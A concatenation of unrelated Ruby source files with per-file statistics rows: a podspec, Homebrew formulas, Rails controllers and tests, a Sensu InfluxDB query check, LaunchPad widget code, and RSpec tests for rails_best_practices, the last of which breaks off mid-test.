finish(
Fam.get_grandparents(
input_path: input_path,
child_name: child_name,
greatness: greatness
)
)
end
end
end
end
| 18.453704
| 78
| 0.501756
|
1dfb6f3b001d151aea2f8237633431886ed71ef1
| 1,049
|
Pod::Spec.new do |s|
s.name = "ArtisanSDK"
s.version = '2.0.18'
s.summary = "Artisan is the first all-in-one platform for mobile app analytics, A/B testing, and personalization."
s.homepage = "http://useartisan.com"
s.license = { :type => 'Proprietary', :file => 'FILE_LICENSE' }
s.author = { "Artisan" => "support@useartisan.com" }
s.source = { :git => "https://github.com/ArtisanMobile/ArtisanSDK.git", :tag => '2.0.18' }
s.source_files = 'ArtisanSDK.framework/Headers/*.h'
s.platform = :ios, '6.0'
s.resources = 'ArtisanSDK.bundle'
s.frameworks = 'ArtisanSDK', 'CoreData', 'CFNetwork', 'Security', 'QuartzCore', 'SystemConfiguration', 'CoreLocation'
s.library = 'z'
s.requires_arc = true
s.documentation_url = 'http://docs.useartisan.com/user-guide/'
s.preserve_path = 'ArtisanSDK.framework'
s.xcconfig = { 'HEADER_SEARCH_PATHS' => '"$(PODS_ROOT)"', 'FRAMEWORK_SEARCH_PATHS' => '$(inherited) "$(PODS_ROOT)/ArtisanSDK"', 'OTHER_LDFLAGS' => '-ObjC, -lz'}
end
| 55.210526
| 166
| 0.636797
|
0127168c67cb129b446add1be283226c7af9357e
| 690
|
class StanfordParser < Formula
desc "Statistical NLP parser"
homepage "https://nlp.stanford.edu/software/lex-parser.shtml"
url "https://nlp.stanford.edu/software/stanford-parser-4.2.0.zip"
sha256 "8c2110c78f7f82b66bcf91089a18e415669eda4346bbd9a6e3bc2bde63e5fed1"
license "GPL-2.0-or-later"
livecheck do
url :homepage
regex(/href=.*?stanford-parser[._-]v?(\d+(?:\.\d+)+)\.zip/i)
end
depends_on "openjdk"
def install
libexec.install Dir["*"]
bin.install Dir["#{libexec}/*.sh"]
bin.env_script_all_files libexec, JAVA_HOME: Formula["openjdk"].opt_prefix
end
test do
system "#{bin}/lexparser.sh", "#{libexec}/data/english-onesent.txt"
end
end
| 27.6
| 78
| 0.704348
|
6145a7bb59ff994deaf88966a51d20b78f850fd5
| 781
|
require 'test_helper'
class MicropostsControllerTest < ActionDispatch::IntegrationTest
def setup
@micropost = microposts(:orange)
end
test "should redirect create when not logged in" do
assert_no_difference 'Micropost.count' do
post microposts_path, params: { micropost: { content: "Loren ipsum" } }
end
assert_redirected_to login_url
end
test "should redirect destroy when not logged in" do
assert_no_difference 'Micropost.count' do
delete micropost_path(@micropost)
end
assert_redirected_to login_url
end
test "should redirect destroy for wrong micropost" do
log_in_as(users(:jairus))
micropost = microposts(:ants)
assert_no_difference 'Micropost.count' do
delete micropost_path(micropost)
end
assert_redirected_to root_url
end
end
| 24.40625
| 74
| 0.775928
|
1c88be6ec3f93668ae55cc857d31934a40127f86
| 794
|
class AvroTools < Formula
desc "Avro command-line tools and utilities"
homepage "https://avro.apache.org/"
url "https://www.apache.org/dyn/closer.lua?path=avro/avro-1.11.0/java/avro-tools-1.11.0.jar"
mirror "https://archive.apache.org/dist/avro/avro-1.11.0/java/avro-tools-1.11.0.jar"
sha256 "43ba8e1d63d6273e8ca72fee68b4125bfdbbbb3112ea0b021fa29d0c0d2f2276"
license "Apache-2.0"
bottle do
sha256 cellar: :any_skip_relocation, all: "9af5531404a8b4749e116b605a0e9584cca51f180273a0cecf8f5e448aba6d61"
end
depends_on "openjdk"
def install
libexec.install "avro-tools-#{version}.jar"
bin.write_jar_script libexec/"avro-tools-#{version}.jar", "avro-tools"
end
test do
assert_match "Version #{version}", shell_output("#{bin}/avro-tools 2>&1", 1)
end
end
| 33.083333
| 112
| 0.743073
|
ab042bf764d7c21a2ce5142d8585f679014b921d
| 1,132
|
class PermissionsController < ApplicationController
before_action :authenticate_user!
before_action :find_aircraft
before_action :find_user
respond_to :json
def update
@permission = @aircraft.permissions.where(user_id: @user.id).create_or_update(permission_params)
respond_with @permission do |format|
format.json { head :no_content }
end
end
def destroy
@permission = @aircraft.permissions.find_by_user_id(@user.id)
@permission&.destroy
head :no_content
end
private
def find_aircraft
@aircraft = Aircraft.friendly.find(params[:aircraft_id])
permission = current_user.permissions.where(aircraft_id: @aircraft.id).first!
if params[:aircraft_id] != @aircraft.to_param
redirect_to aircraft_user_permission_url(@aircraft, params[:user_id], format: request.format), status: :moved_permanently
return false
end
unless permission.admin?
head :unauthorized
return false
end
end
def find_user
@user = User.find_by_email!(params[:user_id])
end
def permission_params
params.require(:permission).permit(:level)
end
end
| 24.608696
| 127
| 0.731449
|
267799bfce988d3ef44742144848b96666280ebc
| 837
|
{
matrix_id: '567',
name: 'g7jac200sc',
group: 'Hollinger',
description: 'Jacobian from CEPII\'s \'G7marmotte\' OLG model, oldstack 200 (scaled)',
author: 'P. Hollinger',
editor: 'T. Davis',
date: '2001',
kind: 'economic problem',
problem_2D_or_3D: '0',
num_rows: '59310',
num_cols: '59310',
nonzeros: '717620',
num_explicit_zeros: '120316',
num_strongly_connected_components: '1437',
num_dmperm_blocks: '2837',
structural_full_rank: 'true',
structural_rank: '59310',
pattern_symmetry: '0.032',
numeric_symmetry: '0.000',
rb_type: 'real',
structure: 'unsymmetric',
cholesky_candidate: 'no',
positive_definite: 'no',
image_files: 'g7jac200sc.png,g7jac200sc_dmperm.png,g7jac200sc_scc.png,g7jac200sc_APlusAT_graph.gif,g7jac200sc_graph.gif,',
}
| 31
| 126
| 0.667861
|
3932548d3e8be4edc8456bc8c59c6aa30deff197
| 167
|
courses = [
{name: "Beginner"},
{name: "Intermediate"},
{name: "Advanced"},
{name: "Toefl"}
]
courses.each do |course|
Course.create(course)
end
| 16.7
| 27
| 0.57485
|
4ad869d2ad28b92c50cc8f2cfc150012fa2e8d10
| 1,161
|
# -*- encoding : utf-8 -*-
class PSD
class EngineData
# Sanitizes and helps with access to the document text.
class Text
# The current document split by newlines into an array.
attr_reader :text
# The current line number in the document.
attr_accessor :line
# Stores the document as a newline-split array and initializes
# the current line to 0.
def initialize(text)
@text = text.split("\n")
@line = 0
end
# Returns the current line stripped of any tabs and padding.
def current
return nil if at_end?
@text[@line].gsub(/\t/, "").strip
end
# Are we at the end of the document?
def at_end?
@text[@line].nil?
end
# Moves the line pointer to the next line and returns it.
def next!
@line += 1
current
end
# Peeks at the next line in the document without moving the
# line pointer.
def next
@text[@line + 1]
end
# Returns the number of lines in the document.
def length
@text.length
end
alias :size :length
end
end
end
| 23.22
| 68
| 0.580534
|
011fee64f83d50c8c88029997abd0989551225a0
| 511
|
module Spree::UserDecorator
def self.prepended(base)
base.has_many :wishlists, class_name: 'Spree::Wishlist'
end
def wishlist
default_wishlist = wishlists.where(is_default: true).first
default_wishlist ||= wishlists.first
default_wishlist ||= wishlists.create(name: Spree.t(:default_wishlist_name), is_default: true)
default_wishlist.update_attribute(:is_default, true) unless default_wishlist.is_default?
default_wishlist
end
end
Spree.user_class.prepend Spree::UserDecorator
| 31.9375
| 98
| 0.776908
|
d53532771299013a64a42dbfcc69f7a6bff631d0
| 553
|
Pod::Spec.new do |s|
s.name = 'Objection'
s.version = '1.6.5'
s.summary = 'A lightweight dependency injection framework for Objective-C.'
s.author = { 'Justin DeWind' => 'dewind@atomicobject.com' }
s.source = { :git => 'https://github.com/atomicobject/objection.git', :tag => "#{s.version}" }
s.homepage = 'http://www.objection-framework.org'
s.source_files = 'Source'
s.license = { :type => "MIT" }
s.requires_arc = true
s.ios.deployment_target = '7.0'
s.osx.deployment_target = '10.8'
end
| 36.866667
| 102
| 0.607595
|
1dea21c60afec56a3c3349a6d387752bd64a7c4e
| 4,137
|
#!/usr/bin/env ruby
#
# Check InfluxDB queries
# ===
#
# Dependencies
# -----------
# - InfluxDB client gem `influxdb` - used to query influxdb
# - JsonPath gem `jsonpath` - used to select result values
# - Dentaku gen `dentaku` - used to express thresholds
#
# Examples
# --------
# See the README here https://github.com/zeroXten/check_influxdb_query
#
# Copyright 2014, Fraser Scott <fraser.scott@gmail.com>
#
# Released under the same terms as Sensu (the MIT license); see LICENSE
# for details.
require 'influxdb'
require 'sensu-plugin/check/cli'
require 'json'
require 'jsonpath'
require 'dentaku'
VERSION="0.1.0"
class CheckInfluxdbQuery < Sensu::Plugin::Check::CLI
check_name nil
option :host,
:short => "-H HOST",
:long => "--host HOST",
:default => "localhost",
:description => "InfluxDB host"
option :port,
:short => "-P PORT",
:long => "--port PORT",
:default => "8086",
:description => "InfluxDB port"
option :database,
:short => "-d DATABASE",
:long => "--database DATABASE",
:default => "influxdb",
:description => "InfluxDB database name"
option :username,
:short => "-u USERNAME",
:long => "--username USERNAME",
:default => "root",
:description => "API username"
option :password,
:short => "-p PASSWORD",
:long => "--password PASSWORD",
:default => "root",
:description => "API password"
option :query,
:short => "-q QUERY",
:long => "--query QUERY",
:required => true,
:description => "Query to run. See http://influxdb.com/docs/v0.8/api/query_language.html"
option :alias,
:short => "-a ALIAS",
:long => "--alias ALIAS",
:default => nil,
:description => "Alias of query (e.g. if query and output gets too long)"
option :jsonpath,
:short => "-j JSONPATH",
:long => "--jsonpath JSONPATH",
:default => nil,
:description => "Json path to select value. Takes the first value, or 0 if none. See http://goessner.net/articles/JsonPath/"
option :noresult,
:short => "-n",
:long => "--noresult",
:boolean => true,
:description => "Go critical for no result from query"
option :warning,
:short => "-w WARNING",
:long => "--warning WARNING",
:default => nil,
:description => "Warning threshold expression. E.g. 'value >= 10'. See https://github.com/rubysolo/dentaku"
option :critical,
:short => "-c CRITICAL",
:long => "--critical CRITICAL",
:default => nil,
:description => "Critical threshold expression. E.g. 'value >= 20'. See https://github.com/rubysolo/dentaku"
option :help,
:short => "-h",
:long => "--help",
:description => "Show this message",
:on => :tail,
:boolean => true,
:show_options => true,
:exit => 0
option :version,
:short => "-v",
:long => "--version",
:description => "Show version",
:on => :tail,
:boolean => true,
:proc => Proc.new { puts "Version #{VERSION}" },
:exit => 0
def run
influxdb = InfluxDB::Client.new config[:database],
:host => config[:host],
:port => config[:port],
:username => config[:username],
:password => config[:password]
value = influxdb.query config[:query]
if config[:alias]
query_name = config[:alias]
else
query_name = config[:query]
end
if config[:noresult] && value.empty?
critical "No result for query '#{query_name}'"
end
if config[:jsonpath]
json_path = JsonPath.new(config[:jsonpath])
value = json_path.on(value).first || 0
calc = Dentaku::Calculator.new
if config[:critical] && calc.evaluate(config[:critical], value: value)
critical "Value '#{value}' matched '#{config[:critical]}' for query '#{query_name}'"
elsif config[:warning] && calc.evaluate(config[:warning], value: value)
warning "Value '#{value}' matched '#{config[:warning]}' for query '#{query_name}'"
else
ok "Value '#{value}' ok for query '#{query_name}'"
end
else
puts "Debug output. Use -j to check value..."
puts JSON.pretty_generate(value)
end
end
end
| 26.690323
| 128
| 0.602611
|
acb40c21299f312d0e54c9fc90280c22b039e398
| 1,438
|
# frozen_string_literal: true
require 'observer'
module BCDiceIRC
module GUI
module Observers
# ゲームシステムのオブザーバを格納するモジュール
module GameSystem
module_function
# IRCボット設定のオブザーバを返す
# @param [IRCBotConfig] config
# @return [Proc]
def irc_bot_config(config)
lambda do |dice_bot_wrapper|
config.game_system_id = dice_bot_wrapper.id
end
end
# ダイスボットの説明文のテキストビューのオブザーバを返す
# @param [Gtk::TextView] text_view
# @return [Proc]
def help_text_view(text_view)
lambda do |dice_bot_wrapper|
text_view.buffer.text = dice_bot_wrapper.help_message
end
end
# メインウィンドウのタイトルのオブザーバを返す
# @param [Application] app
# @return [Proc]
def main_window_title(app)
lambda do |_|
app.update_main_window_title
end
end
# ステータスバーのオブザーバを返す
# @param [Application] app
# @param [Gtk::StatusBar] bar
# @param [Integer] context_id
# @return [Proc]
def status_bar(app, bar, context_id)
lambda do |dice_bot_wrapper|
if app.state.need_notification_on_game_system_change
bar.push(
context_id,
"ゲームシステムを「#{dice_bot_wrapper.name}」に設定しました"
)
end
end
end
end
end
end
end
| 24.793103
| 65
| 0.56815
|
5d157aa9c0813331260589816569d5428dc1291d
| 1,165
|
# Maintain your gem's version:
require File.expand_path('../lib/party_foul/version', __FILE__)
# Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
s.name = 'party_foul'
s.version = PartyFoul::VERSION
s.authors = ['Brian Cardarella', 'Dan McClain']
s.email = ['bcardarella@gmail.com', 'rubygems@danmcclain.net']
s.homepage = 'https://github.com/dockyard/party_foul'
s.summary = 'Auto-submit Rails exceptions as new issues on GitHub'
s.description = 'Auto-submit Rails exceptions as new issues on GitHub'
s.license = 'MIT'
s.required_ruby_version = '>= 1.9.3'
s.files = Dir['{app,config,db,lib}/**/*'] + ['Rakefile', 'README.md']
s.test_files = Dir['test/**/*']
s.add_dependency 'octokit', '~> 2.3.1'
s.add_development_dependency 'actionpack', '~> 4.0'
s.add_development_dependency 'activesupport', '~> 4.0'
s.add_development_dependency 'railties', '~> 4.0'
s.add_development_dependency 'minitest', '~> 4.7'
s.add_development_dependency 'webmock'
s.add_development_dependency 'rack-test'
s.add_development_dependency 'mocha'
s.add_development_dependency 'm'
end
| 37.580645
| 72
| 0.692704
|
914a1128dcebad902827282bc0abbce3b5dc72c9
| 1,384
|
class Api::V1::Prime::Eth2Staking::ValidatorsController < Api::V1::Prime::Eth2Staking::BaseController
def index
jsonapi_paginate(scope) do |page|
render jsonapi: page, params: jsonapi_serializer_params.merge(jsonapi_include_params(page))
end
end
def show
render jsonapi: scope.first!, params: jsonapi_serializer_params.merge(jsonapi_include_params(scope))
end
private
def scope
scope = current_user.prime_eth2_staking_validators.order(id: :asc)
scope = scope.where(staking_position_id: params[:position_id]) if params[:position_id]
scope = scope.includes(:position) if jsonapi_include.include?('position')
scope = scope.where(id: params[:id]) if params[:id]
scope
end
def jsonapi_include_params(resources)
{}.tap do |jsonapi_params|
if params[:status_history]
jsonapi_params[:status_history] = Prime::Eth2Staking::FetchValidatorStatuses.new(resources).fetch.tap do |statuses_history|
Prime::Eth2Staking::UpdateCurrentValidatorStatus.new(resources, statuses_history).update
end
end
end
end
def jsonapi_include
super & %w[position]
end
# make sure max per page is 100 due to indexer api limitations
def jsonapi_page_size(pagination_params)
per_page = pagination_params[:size].to_f.to_i
per_page = 100 if per_page > 100 || per_page < 1
per_page
end
end
| 32.186047
| 131
| 0.731936
|
abb2df1f63cc1d5e2d10420cf212dfdee622c891
| 1,171
|
class User < ApplicationRecord
attr_accessor :remember_token
before_save { self.email = email.downcase }
VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i
validates :name, presence: true, length: {maximum: 50}
validates :email, presence: true,
length: {maximum: 255},
format: {with: VALID_EMAIL_REGEX},
uniqueness: true
validates :password, presence: true, length: { minimum: 6 }, allow_nil: true
has_secure_password
# gives hash of password
def User.digest(string)
cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST :
BCrypt::Engine.cost
BCrypt::Password.create(string, cost: cost)
end
def User.new_token
SecureRandom.urlsafe_base64
end
def remember
self.remember_token = User.new_token
update_attribute(:remember_digest, User.digest(remember_token))
end
# Returns true if the given token matches the digest.
def authenticated?(remember_token)
return false if remember_digest.nil?
BCrypt::Password.new(remember_digest) == remember_token
end
def forget
update_attribute(:remember_digest, nil)
end
end
| 26.613636
| 78
| 0.689155
|
f7b267eebbe2814652a90c87a054632d57d5832e
| 921
|
#
# tkextlib/bwidget/labelframe.rb
# by Hidetoshi NAGAI (nagai@ai.kyutech.ac.jp)
#
require 'tk'
require 'tk/frame'
require 'tkextlib/bwidget.rb'
require 'tkextlib/bwidget/label'
module Tk
module BWidget
class LabelFrame < TkWindow
end
end
end
class Tk::BWidget::LabelFrame
TkCommandNames = ['LabelFrame'.freeze].freeze
WidgetClassName = 'LabelFrame'.freeze
WidgetClassNames[WidgetClassName] = self
def __strval_optkeys
super() << 'helptext'
end
private :__strval_optkeys
def __boolval_optkeys
super() << 'dragenabled' << 'dropenabled'
end
private :__boolval_optkeys
def __tkvariable_optkeys
super() << 'helpvar'
end
private :__tkvariable_optkeys
def self.align(*args)
tk_call('LabelFrame::align', *args)
end
def get_frame(&b)
win = window(tk_send_without_enc('getframe'))
win.instance_eval(&b) if b
win
end
end
| 19.595745
| 75
| 0.688382
|
87324ff7ee813d28cd174ddedb16803720fb23b4
| 69
|
class MetricMiddleware
def self.perform(params)
yield
end
end
| 13.8
| 26
| 0.753623
|
ab4c07777d212e11d95b12163ab2dbe382642fe5
| 5,726
|
module SparkleMotion
module LaunchPad
# Base class for Launchpad UI widgets.
class Widget
attr_reader :value, :position, :size, :colors
def initialize(launchpad:, position:, size:, colors:, value:)
@position = position
@size = size
@launchpad = launchpad
@value = value
@pressed = {}
@colors = OpenStruct.new(normalize_colors!(colors))
attach_handler!
end
def update(value, render_now = true)
@value = value
@value = max_v if max_v && @value && @value > max_v
render if render_now
end
# TODO: Batch rendering support.
def render
@pressed.map do |idx, state|
next unless state
if on_grid?
xx, yy = coords_for(idx: idx)
change_grid(x: xx, y: yy, color: @colors.down)
else
change_command(position: @position, color: @colors.down)
end
end
end
def blank
black = SparkleMotion::LaunchPad::Color::BLACK.to_h
if on_grid?
(0..max_x).each do |xx|
(0..max_y).each do |yy|
change_grid(x: xx, y: yy, color: black)
end
end
else
change_command(position: @position, color: black)
end
end
def max_v
@max_v ||= on_grid? ? (@size.y * @size.x) - 1 : 1
end
protected
attr_reader :launchpad
def tag
@tag ||= begin
pos = on_grid? ? "#{@position.x},#{@position.y}" : @position
"#{self.class.name}(#{pos})"
end
end
def pressed!(x: nil, y: nil, position: nil)
idx = x ? index_for(x: x, y: y) : position
@pressed[idx] = true
end
def released!(x: nil, y: nil, position: nil)
idx = x ? index_for(x: x, y: y) : position
@pressed.delete(idx) if @pressed.key?(idx)
end
def handle_grid_response_down(action)
xx = action[:x] - @position.x
yy = action[:y] - @position.y
pressed!(x: xx, y: yy)
on_down(x: xx, y: yy)
end
def handle_grid_response_up(action)
xx = action[:x] - @position.x
yy = action[:y] - @position.y
released!(x: xx, y: yy)
on_up(x: xx, y: yy)
end
def handle_command_response_down
pressed!(position: @position)
on_down(position: @position)
end
def handle_command_response_up
released!(position: @position)
on_up(position: @position)
end
def index_for(x:, y:); (y * @size.x) + x; end
def coords_for(idx:); [idx / @size.x, idx % @size.x]; end
# Defaults that you may want to override:
def on_down(x: nil, y: nil, position: nil)
if on_grid?
change_grid(x: x, y: y, color: @colors.down)
else
change_command(position: position, color: @colors.down)
end
end
# rubocop:disable Lint/UnusedMethodArgument
def on_up(x: nil, y: nil, position: nil); render; end
# rubocop:enable Lint/UnusedMethodArgument
# Internal utilities for you to use:
def change_grid(x:, y:, color:)
return if (x > max_x) || (x < 0)
return if (y > max_y) || (y < 0)
col = effective_color(x: x, y: y, color: color)
grid_apply_color(x, y, col)
end
def effective_color(x:, y:, color:)
color.is_a?(Array) ? color[index_for(x: x, y: y)] : color
end
def change_command(position:, color:)
return unless launchpad
launchpad.device.change(cc: position, red: color[:r], green: color[:g], blue: color[:b])
end
def grid_apply_color(x, y, color)
return unless launchpad
launchpad.device.change(grid: [x + position.x, y + position.y],
red: color[:r],
green: color[:g],
blue: color[:b])
end
def max_y; @max_y ||= @size.y - 1; end
def max_x; @max_x ||= @size.x - 1; end
def on_grid?; position.is_a?(Vector2); end
private
def normalize_colors!(colors)
Hash[colors.map { |key, value| [key, normalize_color!(value)] }]
end
def normalize_color!(color)
case color
when Array then color.map { |cc| normalize_color!(cc) }
when Symbol, String then SparkleMotion::LaunchPad::Color.const_get(color.to_s.upcase).to_h
when Color then color.to_h
when Fixnum
{ r: ((color >> 16) & 0xFF),
g: ((color >> 8) & 0xFF),
b: (color & 0xFF) }
else
SparkleMotion::LaunchPad::Color::BLACK.to_h.merge(color)
end
end
def attach_handler!
return unless launchpad
attach_grid_handler!
attach_position_handler!
end
def attach_grid_handler!
return unless on_grid?
xx, yy = expand_range
launchpad.response_to(:grid, :down, x: xx, y: yy) do |_inter, action|
handle_grid_response_down(action)
end
launchpad.response_to(:grid, :up, x: xx, y: yy) do |_inter, action|
handle_grid_response_up(action)
end
end
def attach_position_handler!
return if on_grid?
launchpad.response_to(@position, :down) do |_inter, _action|
handle_command_response_down
end
launchpad.response_to(@position, :up) do |_inter, _action|
handle_command_response_up
end
end
def expand_range
[@position.x..(@position.x + max_x),
@position.y..(@position.y + max_y)]
end
end
end
end
| 28.919192
| 98
| 0.546455
|
1a5009f941ab7066bfdaa749e838a31b25d38cb2
| 24,048
|
# frozen_string_literal: true
require 'spec_helper'
module RailsBestPractices
module Reviews
describe RemoveUnusedMethodsInModelsReview do
let(:runner) {
Core::Runner.new(
prepares: Prepares::ModelPrepare.new,
reviews: RemoveUnusedMethodsInModelsReview.new('except_methods' => ['*#set_cache'])
)
}
context 'private' do
it 'should remove unused methods' do
content = <<-EOF
class Post < ActiveRecord::Base
def find; end
private
def find_by_sql; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def get
Post.new.find
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
expect(runner.errors[0].to_s).to eq('app/models/post.rb:4 - remove unused methods (Post#find_by_sql)')
end
it 'should not remove unused methods with except_methods' do
content = <<-EOF
class Post < ActiveRecord::Base
def set_cache; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused methods with var_ref' do
content = <<-EOF
class Post < ActiveRecord::Base
def find
find_by_sql
end
private
def find_by_sql; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def get
Post.new.find
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused methods with callback' do
content = <<-EOF
class Post < ActiveRecord::Base
after_save :expire_cache
private
def expire_cache; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with command' do
content = <<-EOF
class Post < ActiveRecord::Base
def fetch
get(position: 'first')
end
private
def get(options={}); end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def get
Post.new.fetch
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with call' do
content = <<-EOF
class Post < ActiveRecord::Base
def conditions
self.build_conditions({})
end
private
def build_conditions(conditions={}); end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def get
Post.new.conditions
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with message' do
content = <<-EOF
class Post < ActiveRecord::Base
def save
transaction true do
self.update
end
end
private
def transaction(force); end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def create
Post.new.save
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with validation condition' do
content = <<-EOF
class Post < ActiveRecord::Base
validates_uniqueness_of :login, if: :email_blank?
private
def email_blank?; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with aasm' do
content = <<-EOF
class Post < ActiveRecord::Base
aasm_state :accepted, enter: [:update_datetime]
private
def update_datetime; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with initialize' do
content = <<-EOF
class Post < ActiveRecord::Base
private
def initialize; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
context 'public' do
it 'should remove unused methods' do
content = <<-EOF
class Post < ActiveRecord::Base
def fetch; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
expect(runner.errors[0].to_s).to eq('app/models/post.rb:2 - remove unused methods (Post#fetch)')
end
it 'should not remove unused methods' do
content = <<-EOF
class Post < ActiveRecord::Base
def fetch; end
end
EOF
runner.prepare('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def show
@post.fetch
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused methods for attribute assignment' do
content = <<-EOF
class Post < ActiveRecord::Base
def user=(user); end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused methods for try' do
content = <<-EOF
class Post < ActiveRecord::Base
def find(user_id); end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def find
Post.new.try(:find, current_user.id)
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused methods for send' do
content = <<-EOF
class Post < ActiveRecord::Base
def find(user_id); end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def find
Post.new.send(:find, current_user.id)
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should remove unused methods for send string_embexpre' do
content = <<-EOF
class Post < ActiveRecord::Base
def find_first; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def find
type = "first"
Post.new.send("find_\#{type}")
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
end
it 'should remove unused methods for send variable' do
content = <<-EOF
class Post < ActiveRecord::Base
def first; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def find
type = "first"
Post.new.send(type)
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
end
end
context 'protected' do
it 'should not remove unused methods' do
content = <<-EOF
class Post < ActiveRecord::Base
protected
def test; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def test
Post.new.test
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
expect(runner.errors[0].to_s).to eq('app/models/post.rb:3 - remove unused methods (Post#test)')
end
it 'should not remove unused methods' do
post_content = <<-EOF
class Post < ActiveRecord::Base
protected
def test; end
end
EOF
blog_post_content = <<-EOF
class BlogPost < Post
def play
test
end
end
EOF
runner.prepare('app/models/post.rb', post_content)
runner.prepare('app/models/blog_post.rb', blog_post_content)
runner.review('app/models/post.rb', post_content)
runner.review('app/models/blog_post.rb', blog_post_content)
content = <<-EOF
class BlogPostsController < ApplicationController
def play
BlogPost.new.play
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
context 'named_scope' do
it 'should not remove unused named_scope' do
content = <<-EOF
class Post < ActiveRecord::Base
named_scope :active, conditions: {active: true}
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def index
@posts = Post.active
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should remove unused named_scope' do
content = <<-EOF
class Post < ActiveRecord::Base
named_scope :active, conditions: {active: true}
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
expect(runner.errors[0].to_s).to eq('app/models/post.rb:2 - remove unused methods (Post#active)')
end
end
context 'scope' do
it 'should not remove unused scope' do
content = <<-EOF
class Post < ActiveRecord::Base
scope :active, where(active: true)
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def index
@posts = Post.active
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should remove unused named_scope' do
content = <<-EOF
class Post < ActiveRecord::Base
scope :active, where(active: true)
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(1)
expect(runner.errors[0].to_s).to eq('app/models/post.rb:2 - remove unused methods (Post#active)')
end
end
context 'alias' do
it 'should not remove unused method with alias' do
content = <<-EOF
class Post < ActiveRecord::Base
def old; end
alias new old
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def show
@post.new
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with symbol alias' do
content = <<-EOF
class Post < ActiveRecord::Base
def old; end
alias :new :old
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def show
@post.new
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with alias_method' do
